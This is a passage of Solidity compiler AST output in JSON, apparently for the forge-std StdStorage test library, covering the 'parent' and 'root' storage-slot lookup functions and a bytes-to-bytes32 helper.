all":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":8514,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8490,"src":"10041:3:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"id":8515,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"10018:27:8","typeDescriptions":{"typeIdentifier":"t_tuple$_t_uint256_$_t_bytes32_$","typeString":"tuple(uint256,bytes32)"}},"functionReturnParameters":8461,"id":8516,"nodeType":"Return","src":"10011:34:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"parent","nameLocation":"9440:6:8","parameters":{"id":8456,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8455,"mutability":"mutable","name":"self","nameLocation":"9466:4:8","nodeType":"VariableDeclaration","scope":8518,"src":"9447:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8454,"nodeType":"UserDefinedTypeName","pathNode":{"id":8453,"name":"StdStorage","nameLocations":["9447:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"9447:10:8"},"referencedDeclaration":7427,"src":"9447:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"9446:25:8"},"returnParameters":{"id":8461,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8458,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8518,"src":"9490:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8457,"name":"uint256","nodeType":"ElementaryTypeName","src":"9490:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":8460,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8518,"src":"9499:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":8459,"name":"bytes32","nodeType":"ElementaryTypeName","src":"9499:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"9489:18:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8607,"nodeType":"FunctionDefinition","src":"10058:813:8","nodes":[],"body":{"id":8606,"nodeType":"Block","src":"10124:747:8","nodes":[],"statements":[{"assignments":[8527],"declarations":[{"constant":false,"id":8527,"mutability":"mutable","name":"who","nameLocation":"10142:3:8","nodeType":"VariableDeclaration","scope":8606,"src":"10134:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":8526,"name":"address","nodeType":"ElementaryTypeName","src":"10134:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":8530,"initialValue":{"expression":{"id":8528,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8521,"src":"10148:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8529,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"10153:7:8","memberName":"_target","nodeType":"MemberAccess","referencedDeclaration":7420,"src":"10148:12:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"10134:26:8"},{"assignments":[8532],"declarations":[{"constant":false,"id":8532,"mutability":"mutable","name":"field_depth","nameLocation":"10178:11:8","nodeType":"VariableDeclaration","scope":8606,"src":"10170:19:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8531,"name":"uint256","nodeType":"ElementaryTypeName","src":"10170:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":8535,"initialValue":{"expression":{"id":8533,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8521,"src":"10192:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8534,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"10197:6:8","memberName":"_depth","nodeType":"MemberAccess","referencedDeclaration":7418,"src":"10192:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"10170:33:8"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":8536,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"10213:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":8538,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"10216:21:8","memberName":"startMappingRecording","nodeType":"MemberAccess","referencedDeclaration":12661,"src":"10213:24:8","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":8539,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10213:26:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8540,"nodeType":"ExpressionStatement","src":"10213:26:8"},{"assignments":[8542],"declarations":[{"constant":false,"id":8542,"mutability":"mutable","name":"child","nameLocation":"10257:5:8","nodeType":"VariableDeclaration","scope":8606,"src":"10249:13:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8541,"name":"uint256","nodeType":"ElementaryTypeName","src":"10249:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":8550,"initialValue":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":8549,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"arguments":[{"id":8544,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8521,"src":"10270:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"hexValue":"74727565","id":8545,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"10276:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":8543,"name":"find","nodeType":"Identifier","overloadedDeclarations":[7787,8090],"referencedDeclaration":8090,"src":"10265:4:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bool_$returns$_t_struct$_FindData_$7402_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bool) returns (struct FindData storage pointer)"}},"id":8546,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10265:16:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":8547,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"10282:4:8","memberName":"slot","nodeType":"MemberAccess","referencedDeclaration":7395,"src":"10265:21:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":8548,"name":"field_depth","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8532,"src":"10289:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"10265:35:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"10249:51:8"},{"assignments":[8552],"declarations":[{"constant":false,"id":8552,"mutability":"mutable","name":"found","nameLocation":"10315:5:8","nodeType":"VariableDeclaration","scope":8606,"src":"10310:10:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":8551,"name":"bool","nodeType":"ElementaryTypeName","src":"10310:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"id":8553,"nodeType":"VariableDeclarationStatement","src":"10310:10:8"},{"assignments":[8555],"declarations":[{"constant":false,"id":8555,"mutability":"mutable","name":"root_slot","nameLocation":"10338:9:8","nodeType":"VariableDeclaration","scope":8606,"src":"10330:17:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":8554,"name":"bytes32","nodeType":"ElementaryTypeName","src":"10330:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":8556,"nodeType":"VariableDeclarationStatement","src":"10330:17:8"},{"assignments":[8558],"declarations":[{"constant":false,"id":8558,"mutability":"mutable","name":"parent_slot","nameLocation":"10365:11:8","nodeType":"VariableDeclaration","scope":8606,"src":"10357:19:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":8557,"name":"bytes32","nodeType":"ElementaryTypeName","src":"10357:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":8559,"nodeType":"VariableDeclarationStatement","src":"10357:19:8"},{"expression":{"id":8571,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"components":[{"id":8560,"name":"found","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8552,"src":"10387:5:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},null,{"id":8561,"name":"parent_slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8558,"src":"10395:11:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"id":8562,"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"TupleExpression","src":"10386:21:8","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$__$_t_bytes32_$","typeString":"tuple(bool,,bytes32)"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":8565,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8527,"src":"10438:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":8568,"name":"child","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8542,"src":"10451:5:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":8567,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"10443:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":8566,"name":"bytes32","nodeType":"ElementaryTypeName","src":"10443:7:8","typeDescriptions":{}}},"id":8569,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10443:14:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":8563,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"10410:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":8564,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"10413:24:8","memberName":"getMappingKeyAndParentOf","nodeType":"MemberAccess","referencedDeclaration":12557,"src":"10410:27:8","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes32_$returns$_t_bool_$_t_bytes32_$_t_bytes32_$","typeString":"function (address,bytes32) external returns (bool,bytes32,bytes32)"}},"id":8570,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10410:48:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes32_$_t_bytes32_$","typeString":"tuple(bool,bytes32,bytes32)"}},"src":"10386:72:8","typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8572,"nodeType":"ExpressionStatement","src":"10386:72:8"},{"condition":{"id":8574,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"10472:6:8","subExpression":{"id":8573,"name":"found","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8552,"src":"10473:5:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":8580,"nodeType":"IfStatement","src":"10468:201:8","trueBody":{"id":8579,"nodeType":"Block","src":"10480:189:8","statements":[{"expression":{"arguments":[{"hexValue":"73746453746f7261676520726561645f626f6f6c2853746453746f72616765293a2043616e6e6f742066696e6420706172656e742e204d616b65207375726520796f752067697665206120736c6f7420616e642073746172744d617070696e675265636f7264696e67282920686173206265656e2063616c6c65642e","id":8576,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10518:126:8","typeDescriptions":{"typeIdentifier":"t_stringliteral_05c02dd7643b4a3b621a87327400688a0e915a721e1557091f0636a8183236ef","typeString":"literal_string \"stdStorage read_bool(StdStorage): Cannot find parent. Make sure you give a slot and startMappingRecording() has been called.\""},"value":"stdStorage read_bool(StdStorage): Cannot find parent. Make sure you give a slot and startMappingRecording() has been called."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_05c02dd7643b4a3b621a87327400688a0e915a721e1557091f0636a8183236ef","typeString":"literal_string \"stdStorage read_bool(StdStorage): Cannot find parent. Make sure you give a slot and startMappingRecording() has been called.\""}],"id":8575,"name":"revert","nodeType":"Identifier","overloadedDeclarations":[-19,-19],"referencedDeclaration":-19,"src":"10494:6:8","typeDescriptions":{"typeIdentifier":"t_function_revert_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) pure"}},"id":8577,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10494:164:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8578,"nodeType":"ExpressionStatement","src":"10494:164:8"}]}},{"body":{"id":8599,"nodeType":"Block","src":"10692:138:8","statements":[{"expression":{"id":8584,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":8582,"name":"root_slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8555,"src":"10706:9:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":8583,"name":"parent_slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8558,"src":"10718:11:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"10706:23:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":8585,"nodeType":"ExpressionStatement","src":"10706:23:8"},{"expression":{"id":8597,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"components":[{"id":8586,"name":"found","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8552,"src":"10744:5:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},null,{"id":8587,"name":"parent_slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8558,"src":"10752:11:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"id":8588,"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"TupleExpression","src":"10743:21:8","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$__$_t_bytes32_$","typeString":"tuple(bool,,bytes32)"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":8591,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8527,"src":"10795:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":8594,"name":"root_slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8555,"src":"10808:9:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":8593,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"10800:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":8592,"name":"bytes32","nodeType":"ElementaryTypeName","src":"10800:7:8","typeDescriptions":{}}},"id":8595,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10800:18:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":8589,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"10767:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":8590,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"10770:24:8","memberName":"getMappingKeyAndParentOf","nodeType":"MemberAccess","referencedDeclaration":12557,"src":"10767:27:8","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes32_$returns$_t_bool_$_t_bytes32_$_t_bytes32_$","typeString":"function (address,bytes32) external returns (bool,bytes32,bytes32)"}},"id":8596,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10767:52:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes32_$_t_bytes32_$","typeString":"tuple(bool,bytes32,bytes32)"}},"src":"10743:76:8","typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8598,"nodeType":"ExpressionStatement","src":"10743:76:8"}]},"condition":{"id":8581,"name":"found","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8552,"src":"10685:5:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":8600,"nodeType":"WhileStatement","src":"10678:152:8"},{"expression":{"arguments":[{"id":8603,"name":"root_slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8555,"src":"10854:9:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":8602,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"10846:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":8601,"name":"uint256","nodeType":"ElementaryTypeName","src":"10846:7:8","typeDescriptions":{}}},"id":8604,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10846:18:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":8525,"id":8605,"nodeType":"Return","src":"10839:25:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"root","nameLocation":"10067:4:8","parameters":{"id":8522,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8521,"mutability":"mutable","name":"self","nameLocation":"10091:4:8","nodeType":"VariableDeclaration","scope":8607,"src":"10072:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8520,"nodeType":"UserDefinedTypeName","pathNode":{"id":8519,"name":"StdStorage","nameLocations":["10072:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"10072:10:8"},"referencedDeclaration":7427,"src":"10072:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"10071:25:8"},"returnParameters":{"id":8525,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8524,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8607,"src":"10115:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8523,"name":"uint256","nodeType":"ElementaryTypeName","src":"10115:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"10114:9:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8663,"nodeType":"FunctionDefinition","src":"10877:304:8","nodes":[],"body":{"id":8662,"nodeType":"Block","src":"10964:217:8","nodes":[],"statements":[{"assignments":[8617],"declarations":[{"constant":false,"id":8617,"mutability":"mutable","name":"out","nameLocation":"10982:3:8","nodeType":"VariableDeclaration","scope":8662,"src":"10974:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":8616,"name":"bytes32","nodeType":"ElementaryTypeName","src":"10974:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":8618,"nodeType":"VariableDeclarationStatement","src":"10974:11:8"},{"assignments":[8620],"declarations":[{"constant":false,"id":8620,"mutability":"mutable","name":"max","nameLocation":"11004:3:8","nodeType":"VariableDeclaration","scope":8662,"src":"10996:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8619,"name":"uint256","nodeType":"ElementaryTypeName","src":"10996:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":8629,"initialValue":{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":8624,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":8621,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8609,"src":"11010:1:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":8622,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"11012:6:8","memberName":"length","nodeType":"MemberAccess","src":"11010:8:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"3332","id":8623,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11021:2:8","typeDescriptions":{"typeIdentifier":"t_rational_32_by_1","typeString":"int_const 32"},"value":"32"},"src":"11010:13:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseExpression":{"expression":{"id":8626,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8609,"src":"11031:1:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":8627,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"11033:6:8","memberName":"length","nodeType":"MemberAccess","src":"11031:8:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":8628,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"Conditional","src":"11010:29:8","trueExpression":{"hexValue":"3332","id":8625,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11026:2:8","typeDescriptions":{"typeIdentifier":"t_rational_32_by_1","typeString":"int_const 32"},"value":"32"},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"10996:43:8"},{"body":{"id":8658,"nodeType":"Block","src":"11083:72:8","statements":[{"expression":{"id":8656,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":8640,"name":"out","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8617,"src":"11097:3:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"Assignment","operator":"|=","rightHandSide":{"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"id":8655,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"commonType":{"typeIdentifier":"t_bytes1","typeString":"bytes1"},"id":8649,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"baseExpression":{"id":8643,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8609,"src":"11112:1:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":8647,"indexExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":8646,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":8644,"name":"offset","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8611,"src":"11114:6:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"id":8645,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8631,"src":"11123:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"11114:10:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"11112:13:8","typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"}},"nodeType":"BinaryOperation","operator":"&","rightExpression":{"hexValue":"30784646","id":8648,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11128:4:8","typeDescriptions":{"typeIdentifier":"t_rational_255_by_1","typeString":"int_const 255"},"value":"0xFF"},"src":"11112:20:8","typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes1","typeString":"bytes1"}],"id":8642,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"11104:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":8641,"name":"bytes32","nodeType":"ElementaryTypeName","src":"11104:7:8","typeDescriptions":{}}},"id":8650,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11104:29:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"BinaryOperation","operator":">>","rightExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":8653,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":8651,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8631,"src":"11138:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"*","rightExpression":{"hexValue":"38","id":8652,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11142:1:8","typeDescriptions":{"typeIdentifier":"t_rational_8_by_1","typeString":"int_const 